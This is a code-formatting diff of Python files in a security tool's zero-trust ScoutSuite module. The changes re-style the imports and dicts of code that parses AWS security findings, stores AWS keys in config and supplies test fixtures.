AbstractRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( + AbstractRulePathCreator, +) class SESRulePathCreator(AbstractRulePathCreator): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py index 60a2f5b1c90..6eda4fcefdc 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py @@ -1,7 +1,8 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sns_rules import SNSRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( + AbstractRulePathCreator, +) class SNSRulePathCreator(AbstractRulePathCreator): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py index 619cf2ddbe2..e4979caf5df 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py @@ -1,7 +1,8 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sqs_rules import SQSRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( + AbstractRulePathCreator, +) class SQSRulePathCreator(AbstractRulePathCreator): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py index 280d0933e87..9daad607ecf 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py @@ -1,7 +1,8 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.vpc_rules import VPCRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( + AbstractRulePathCreator, +) class VPCRulePathCreator(AbstractRulePathCreator): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py index 4dce7ed2bc1..8ad561ecefd 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py @@ -1,35 +1,63 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - cloudformation_rule_path_creator import CloudformationRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - cloudtrail_rule_path_creator import CloudTrailRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - cloudwatch_rule_path_creator import CloudWatchRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - config_rule_path_creator import ConfigRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - ec2_rule_path_creator import EC2RulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - elb_rule_path_creator import ELBRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - elbv2_rule_path_creator import ELBv2RulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - iam_rule_path_creator import IAMRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - rds_rule_path_creator import RDSRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - redshift_rule_path_creator import RedshiftRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - s3_rule_path_creator import S3RulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - ses_rule_path_creator import SESRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - sns_rule_path_creator import SNSRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators. \ - sqs_rule_path_creator import SQSRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators. \ - vpc_rule_path_creator import VPCRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.cloudformation_rule_path_creator import ( + CloudformationRulePathCreator, +) +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.cloudtrail_rule_path_creator import ( + CloudTrailRulePathCreator, +) +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.cloudwatch_rule_path_creator import ( + CloudWatchRulePathCreator, +) +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.config_rule_path_creator import ( + ConfigRulePathCreator, +) +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.ec2_rule_path_creator import ( + EC2RulePathCreator, +) +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.elb_rule_path_creator import ( + ELBRulePathCreator, +) +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.elbv2_rule_path_creator import ( + ELBv2RulePathCreator, +) +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.iam_rule_path_creator import ( + IAMRulePathCreator, +) +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.rds_rule_path_creator import ( + RDSRulePathCreator, +) +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.redshift_rule_path_creator import ( + RedshiftRulePathCreator, +) +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.s3_rule_path_creator import ( + S3RulePathCreator, +) +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.ses_rule_path_creator import ( + SESRulePathCreator, +) +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.sns_rule_path_creator import ( + SNSRulePathCreator, +) +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.sqs_rule_path_creator import ( + SQSRulePathCreator, +) +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.vpc_rule_path_creator import ( + VPCRulePathCreator, +) -RULE_PATH_CREATORS_LIST = [EC2RulePathCreator, ELBv2RulePathCreator, RDSRulePathCreator, RedshiftRulePathCreator, - S3RulePathCreator, IAMRulePathCreator, CloudTrailRulePathCreator, ELBRulePathCreator, - VPCRulePathCreator, CloudWatchRulePathCreator, SQSRulePathCreator, SNSRulePathCreator, - SESRulePathCreator, ConfigRulePathCreator, CloudformationRulePathCreator] +RULE_PATH_CREATORS_LIST = [ + EC2RulePathCreator, + ELBv2RulePathCreator, + RDSRulePathCreator, + RedshiftRulePathCreator, + S3RulePathCreator, + IAMRulePathCreator, + CloudTrailRulePathCreator, + ELBRulePathCreator, + VPCRulePathCreator, + CloudWatchRulePathCreator, + SQSRulePathCreator, + SNSRulePathCreator, + SESRulePathCreator, + ConfigRulePathCreator, + CloudformationRulePathCreator, +] diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py index afe14c54c33..15a0b4b1113 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py @@ -10,21 +10,29 @@ class ExampleRules(Enum): - NON_EXSISTENT_RULE = 'bogus_rule' + NON_EXSISTENT_RULE = "bogus_rule" ALL_PORTS_OPEN = EC2Rules.SECURITY_GROUP_ALL_PORTS_TO_ALL -EXPECTED_RESULT = {'description': 'Security Group Opens All Ports to All', - 'path': 'ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR', - 'level': 'danger', - 'display_path': 'ec2.regions.id.vpcs.id.security_groups.id', - 'items': [ - 'ec2.regions.ap-northeast-1.vpcs.vpc-abc.security_groups.' - 'sg-abc.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR'], - 'dashboard_name': 'Rules', 'checked_items': 179, 'flagged_items': 2, 'service': 'EC2', - 'rationale': 'It was detected that all ports in the security group are open <...>', - 'remediation': None, 'compliance': None, 'references': None} +EXPECTED_RESULT = { + "description": "Security Group Opens All Ports to All", + "path": "ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR", + "level": "danger", + "display_path": "ec2.regions.id.vpcs.id.security_groups.id", + "items": [ + "ec2.regions.ap-northeast-1.vpcs.vpc-abc.security_groups." + "sg-abc.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR" + ], + "dashboard_name": "Rules", + "checked_items": 179, + "flagged_items": 2, + "service": "EC2", + "rationale": "It was detected that all ports in the security group are open <...>", + "remediation": None, + "compliance": None, + "references": None, +} def test_get_rule_data(): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py index 1f0ee180e8f..05bcebd032c 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py @@ -15,24 +15,28 @@ def is_cloud_authentication_setup(provider: CloudProviders) -> Tuple[bool, str]: return True, "AWS keys already setup." import ScoutSuite.providers.aws.authentication_strategy as auth_strategy + try: profile = auth_strategy.AWSAuthenticationStrategy().authenticate() - return True, f" Profile \"{profile.session.profile_name}\" is already setup. " + return True, f' Profile "{profile.session.profile_name}" is already setup. ' except AuthenticationException: return False, "" def is_aws_keys_setup(): - return (ConfigService.get_config_value(AWS_KEYS_PATH + ['aws_access_key_id']) and - ConfigService.get_config_value(AWS_KEYS_PATH + ['aws_secret_access_key'])) + return ConfigService.get_config_value( + AWS_KEYS_PATH + ["aws_access_key_id"] + ) and ConfigService.get_config_value(AWS_KEYS_PATH + ["aws_secret_access_key"]) def set_aws_keys(access_key_id: str, secret_access_key: str, session_token: str): if not access_key_id or not secret_access_key: - raise InvalidAWSKeys("Missing some of the following fields: access key ID, secret access key.") - _set_aws_key('aws_access_key_id', access_key_id) - _set_aws_key('aws_secret_access_key', secret_access_key) - _set_aws_key('aws_session_token', session_token) + raise InvalidAWSKeys( + "Missing some of the following fields: access key ID, secret access key." + ) + _set_aws_key("aws_access_key_id", access_key_id) + _set_aws_key("aws_secret_access_key", secret_access_key) + _set_aws_key("aws_session_token", session_token) def _set_aws_key(key_type: str, key_value: str): @@ -42,9 +46,11 @@ def _set_aws_key(key_type: str, key_value: str): def get_aws_keys(): - return {'access_key_id': _get_aws_key('aws_access_key_id'), - 'secret_access_key': _get_aws_key('aws_secret_access_key'), - 'session_token': _get_aws_key('aws_session_token')} + return { + "access_key_id": _get_aws_key("aws_access_key_id"), + "secret_access_key": _get_aws_key("aws_secret_access_key"), + "session_token": _get_aws_key("aws_session_token"), + } def _get_aws_key(key_type: str): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py index 3b76194af8d..a97a1a2c84a 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py @@ -3,22 +3,21 @@ class ScoutSuiteRuleService: - @staticmethod def get_rule_from_rule_data(rule_data: dict) -> ScoutSuiteRule: rule = ScoutSuiteRule() - rule.description = rule_data['description'] - rule.path = rule_data['path'] - rule.level = rule_data['level'] - rule.items = rule_data['items'] - rule.dashboard_name = rule_data['dashboard_name'] - rule.checked_items = rule_data['checked_items'] - rule.flagged_items = rule_data['flagged_items'] - rule.service = rule_data['service'] - rule.rationale = rule_data['rationale'] - rule.remediation = rule_data['remediation'] - rule.compliance = rule_data['compliance'] - rule.references = rule_data['references'] + rule.description = rule_data["description"] + rule.path = rule_data["path"] + rule.level = rule_data["level"] + rule.items = rule_data["items"] + rule.dashboard_name = rule_data["dashboard_name"] + rule.checked_items = rule_data["checked_items"] + rule.flagged_items = rule_data["flagged_items"] + rule.service = rule_data["service"] + rule.rationale = rule_data["rationale"] + rule.remediation = rule_data["remediation"] + rule.compliance = rule_data["compliance"] + rule.references = rule_data["references"] return rule @staticmethod diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py index 63befc80821..3d0cf8413fa 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py @@ -4,16 +4,21 @@ from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule -from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_finding_maps import ScoutSuiteFindingMap -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ScoutSuiteRuleService +from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_finding_maps import ( + ScoutSuiteFindingMap, +) +from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ( + ScoutSuiteRuleService, +) class ScoutSuiteZTFindingService: - @staticmethod def process_rule(finding: ScoutSuiteFindingMap, rule: ScoutSuiteRule): existing_findings = ScoutSuiteFinding.objects(test=finding.test) - assert (len(existing_findings) < 2), "More than one finding exists for {}".format(finding.test) + assert len(existing_findings) < 2, "More than one finding exists for {}".format( + finding.test + ) if len(existing_findings) == 0: ScoutSuiteZTFindingService._create_new_finding_from_rule(finding, rule) @@ -49,17 +54,28 @@ def add_rule(finding: ScoutSuiteFinding, rule: ScoutSuiteRule): def change_finding_status_by_rule(finding: ScoutSuiteFinding, rule: ScoutSuiteRule): rule_status = ScoutSuiteZTFindingService.get_finding_status_from_rules([rule]) finding_status = finding.status - new_finding_status = ScoutSuiteZTFindingService.get_finding_status_from_rule_status(finding_status, rule_status) + new_finding_status = ScoutSuiteZTFindingService.get_finding_status_from_rule_status( + finding_status, rule_status + ) if finding_status != new_finding_status: finding.status = new_finding_status @staticmethod def get_finding_status_from_rule_status(finding_status: str, rule_status: str) -> str: - if finding_status == zero_trust_consts.STATUS_FAILED or rule_status == zero_trust_consts.STATUS_FAILED: + if ( + finding_status == zero_trust_consts.STATUS_FAILED + or rule_status == zero_trust_consts.STATUS_FAILED + ): return zero_trust_consts.STATUS_FAILED - elif finding_status == zero_trust_consts.STATUS_VERIFY or rule_status == zero_trust_consts.STATUS_VERIFY: + elif ( + finding_status == zero_trust_consts.STATUS_VERIFY + or rule_status == zero_trust_consts.STATUS_VERIFY + ): return zero_trust_consts.STATUS_VERIFY - elif finding_status == zero_trust_consts.STATUS_PASSED or rule_status == zero_trust_consts.STATUS_PASSED: + elif ( + finding_status == zero_trust_consts.STATUS_PASSED + or rule_status == zero_trust_consts.STATUS_PASSED + ): return zero_trust_consts.STATUS_PASSED else: return zero_trust_consts.STATUS_UNEXECUTED diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py index 1ac9afdfe28..5ffe194a42c 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py @@ -7,7 +7,9 @@ from monkey_island.cc.server_utils.encryptor import initialize_encryptor, get_encryptor from monkey_island.cc.services.config import ConfigService from common.config_value_paths import AWS_KEYS_PATH -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import is_aws_keys_setup +from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import ( + is_aws_keys_setup, +) from monkey_island.cc.test_common.fixtures import FixtureEnum @@ -27,8 +29,12 @@ def test_is_aws_keys_setup(tmp_path): # Make sure noone changed config path and broke this function initialize_encryptor(tmp_path) - bogus_key_value = get_encryptor().enc('bogus_aws_key') - dpath.util.set(ConfigService.default_config, AWS_KEYS_PATH+['aws_secret_access_key'], bogus_key_value) - dpath.util.set(ConfigService.default_config, AWS_KEYS_PATH+['aws_access_key_id'], bogus_key_value) + bogus_key_value = get_encryptor().enc("bogus_aws_key") + dpath.util.set( + ConfigService.default_config, AWS_KEYS_PATH + ["aws_secret_access_key"], bogus_key_value + ) + dpath.util.set( + ConfigService.default_config, AWS_KEYS_PATH + ["aws_access_key_id"], bogus_key_value + ) assert is_aws_keys_setup() diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py index e08c8a29084..32491b2c57b 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py @@ -1,29 +1,34 @@ from copy import deepcopy -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_consts import RULE_LEVEL_WARNING, RULE_LEVEL_DANGER -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ScoutSuiteRuleService +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_consts import ( + RULE_LEVEL_WARNING, + RULE_LEVEL_DANGER, +) +from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ( + ScoutSuiteRuleService, +) from monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import RULES example_scoutsuite_data = { - 'checked_items': 179, - 'compliance': None, - 'dashboard_name': 'Rules', - 'description': 'Security Group Opens All Ports to All', - 'flagged_items': 2, - 'items': [ - 'ec2.regions.eu-central-1.vpcs.vpc-0ee259b1a13c50229.security_groups.sg-035779fe5c293fc72' - '.rules.ingress.protocols.ALL.ports.1-65535.cidrs.2.CIDR', - 'ec2.regions.eu-central-1.vpcs.vpc-00015526b6695f9aa.security_groups.sg-019eb67135ec81e65' - '.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR' + "checked_items": 179, + "compliance": None, + "dashboard_name": "Rules", + "description": "Security Group Opens All Ports to All", + "flagged_items": 2, + "items": [ + "ec2.regions.eu-central-1.vpcs.vpc-0ee259b1a13c50229.security_groups.sg-035779fe5c293fc72" + ".rules.ingress.protocols.ALL.ports.1-65535.cidrs.2.CIDR", + "ec2.regions.eu-central-1.vpcs.vpc-00015526b6695f9aa.security_groups.sg-019eb67135ec81e65" + ".rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR", ], - 'level': 'danger', - 'path': 'ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR', - 'rationale': 'It was detected that all ports in the security group are open, and any source IP address' - ' could send traffic to these ports, which creates a wider attack surface for resources ' - 'assigned to it. Open ports should be reduced to the minimum needed to correctly', - 'references': [], - 'remediation': None, - 'service': 'EC2' + "level": "danger", + "path": "ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR", + "rationale": "It was detected that all ports in the security group are open, and any source IP address" + " could send traffic to these ports, which creates a wider attack surface for resources " + "assigned to it. Open ports should be reduced to the minimum needed to correctly", + "references": [], + "remediation": None, + "service": "EC2", } diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py index 549d3161edb..de7b5635e94 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py @@ -2,13 +2,17 @@ from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_zt_finding_service import ScoutSuiteZTFindingService -from monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import RULES, SCOUTSUITE_FINDINGS +from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_zt_finding_service import ( + ScoutSuiteZTFindingService, +) +from monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import ( + RULES, + SCOUTSUITE_FINDINGS, +) from monkey_island.cc.test_common.fixtures import FixtureEnum class TestScoutSuiteZTFindingService: - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_process_rule(self): # Creates new PermissiveFirewallRules finding with a rule diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py b/monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py index aaea9503187..5582bb83ddd 100644 --- a/monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py +++ b/monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py @@ -1,23 +1,31 @@ -from common.common_consts.zero_trust_consts import TEST_SCOUTSUITE_SERVICE_SECURITY, STATUS_FAILED, \ - TEST_ENDPOINT_SECURITY_EXISTS, STATUS_PASSED +from common.common_consts.zero_trust_consts import ( + TEST_SCOUTSUITE_SERVICE_SECURITY, + STATUS_FAILED, + TEST_ENDPOINT_SECURITY_EXISTS, + STATUS_PASSED, +) from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.monkey_finding import MonkeyFinding from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding -from monkey_island.cc.services.zero_trust.test_common.monkey_finding_data import get_monkey_details_dto -from monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import get_scoutsuite_details_dto +from monkey_island.cc.services.zero_trust.test_common.monkey_finding_data import ( + get_monkey_details_dto, +) +from monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import ( + get_scoutsuite_details_dto, +) def get_scoutsuite_finding_dto() -> Finding: scoutsuite_details = get_scoutsuite_details_dto() scoutsuite_details.save() - return ScoutSuiteFinding(test=TEST_SCOUTSUITE_SERVICE_SECURITY, - status=STATUS_FAILED, - details=scoutsuite_details) + return ScoutSuiteFinding( + test=TEST_SCOUTSUITE_SERVICE_SECURITY, status=STATUS_FAILED, details=scoutsuite_details + ) def get_monkey_finding_dto() -> Finding: monkey_details = get_monkey_details_dto() monkey_details.save() - return MonkeyFinding(test=TEST_ENDPOINT_SECURITY_EXISTS, - status=STATUS_PASSED, - details=monkey_details) + return MonkeyFinding( + test=TEST_ENDPOINT_SECURITY_EXISTS, status=STATUS_PASSED, details=monkey_details + ) diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py b/monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py index b0050a8c9eb..0e5433784d2 100644 --- a/monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py +++ b/monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py @@ -6,21 +6,24 @@ "timestamp": "2021-01-20T15:40:28.357Z", "title": "Process list", "message": "Monkey on pc-24 scanned the process list", - "event_type": "monkey_local" + "event_type": "monkey_local", }, { "timestamp": "2021-01-20T16:08:29.519Z", "title": "Process list", "message": "", - "event_type": "monkey_local" + "event_type": "monkey_local", }, ] EVENTS_DTO = [ - Event(timestamp=event['timestamp'], - title=event['title'], - message=event['message'], - event_type=event['event_type']) for event in EVENTS + Event( + timestamp=event["timestamp"], + title=event["title"], + message=event["message"], + event_type=event["event_type"], + ) + for event in EVENTS ] DETAILS_DTO = [] diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/raw_scoutsute_data.py b/monkey/monkey_island/cc/services/zero_trust/test_common/raw_scoutsute_data.py index 31769763278..9782096711e 100644 --- a/monkey/monkey_island/cc/services/zero_trust/test_common/raw_scoutsute_data.py +++ b/monkey/monkey_island/cc/services/zero_trust/test_common/raw_scoutsute_data.py @@ -1,93 +1,168 @@ # This is what our codebase receives after running ScoutSuite module. # Object '...': {'...': '...'} represents continuation of similar objects as above RAW_SCOUTSUITE_DATA = { - 'sg_map': { - 'sg-abc': {'region': 'ap-northeast-1', 'vpc_id': 'vpc-abc'}, - 'sg-abcd': {'region': 'ap-northeast-2', 'vpc_id': 'vpc-abc'}, - '...': {'...': '...'}}, - 'subnet_map': { - 'subnet-abc': {'region': 'ap-northeast-1', 'vpc_id': 'vpc-abc'}, - 'subnet-abcd': {'region': 'ap-northeast-1', 'vpc_id': 'vpc-abc'}, - '...': {'...': '...'} + "sg_map": { + "sg-abc": {"region": "ap-northeast-1", "vpc_id": "vpc-abc"}, + "sg-abcd": {"region": "ap-northeast-2", "vpc_id": "vpc-abc"}, + "...": {"...": "..."}, }, - 'provider_code': 'aws', - 'provider_name': 'Amazon Web Services', - 'environment': None, - 'result_format': 'json', - 'partition': 'aws', - 'account_id': '125686982355', - 'last_run': { - 'time': '2021-02-05 16:03:04+0200', - 'run_parameters': {'services': [], 'skipped_services': [], 'regions': [], 'excluded_regions': []}, - 'version': '5.10.0', - 'ruleset_name': 'default', - 'ruleset_about': 'This ruleset', - 'summary': {'ec2': {'checked_items': 3747, 'flagged_items': 262, 'max_level': 'warning', 'rules_count': 28, - 'resources_count': 176}, - 's3': {'checked_items': 88, 'flagged_items': 25, 'max_level': 'danger', 'rules_count': 18, - 'resources_count': 5}, - '...': {'...': '...'}}}, - 'metadata': { - 'compute': { - 'summaries': {'external attack surface': {'cols': 1, - 'path': 'service_groups.compute.summaries.external_attack_surface', - 'callbacks': [ - ['merge', {'attribute': 'external_attack_surface'}]]}}, - '...': {'...': '...'} + "subnet_map": { + "subnet-abc": {"region": "ap-northeast-1", "vpc_id": "vpc-abc"}, + "subnet-abcd": {"region": "ap-northeast-1", "vpc_id": "vpc-abc"}, + "...": {"...": "..."}, + }, + "provider_code": "aws", + "provider_name": "Amazon Web Services", + "environment": None, + "result_format": "json", + "partition": "aws", + "account_id": "125686982355", + "last_run": { + "time": "2021-02-05 16:03:04+0200", + "run_parameters": { + "services": [], + "skipped_services": [], + "regions": [], + "excluded_regions": [], + }, + "version": "5.10.0", + "ruleset_name": "default", + "ruleset_about": "This ruleset", + "summary": { + "ec2": { + "checked_items": 3747, + "flagged_items": 262, + "max_level": "warning", + "rules_count": 28, + "resources_count": 176, + }, + "s3": { + "checked_items": 88, + "flagged_items": 25, + "max_level": "danger", + "rules_count": 18, + "resources_count": 5, + }, + "...": {"...": "..."}, + }, + }, + "metadata": { + "compute": { + "summaries": { + "external attack surface": { + "cols": 1, + "path": "service_groups.compute.summaries.external_attack_surface", + "callbacks": [["merge", {"attribute": "external_attack_surface"}]], + } + }, + "...": {"...": "..."}, }, - '...': {'...': '...'} + "...": {"...": "..."}, }, - # This is the important part, which we parse to get resources - 'services': { - 'ec2': {'regions': { - 'ap-northeast-1': { - 'vpcs': { - 'vpc-abc': { - 'id': 'vpc-abc', - 'security_groups': { - 'sg-abc': { - 'name': 'default', - 'rules': { - 'ingress': {'protocols': { - 'ALL': {'ports': {'1-65535': {'cidrs': [{'CIDR': 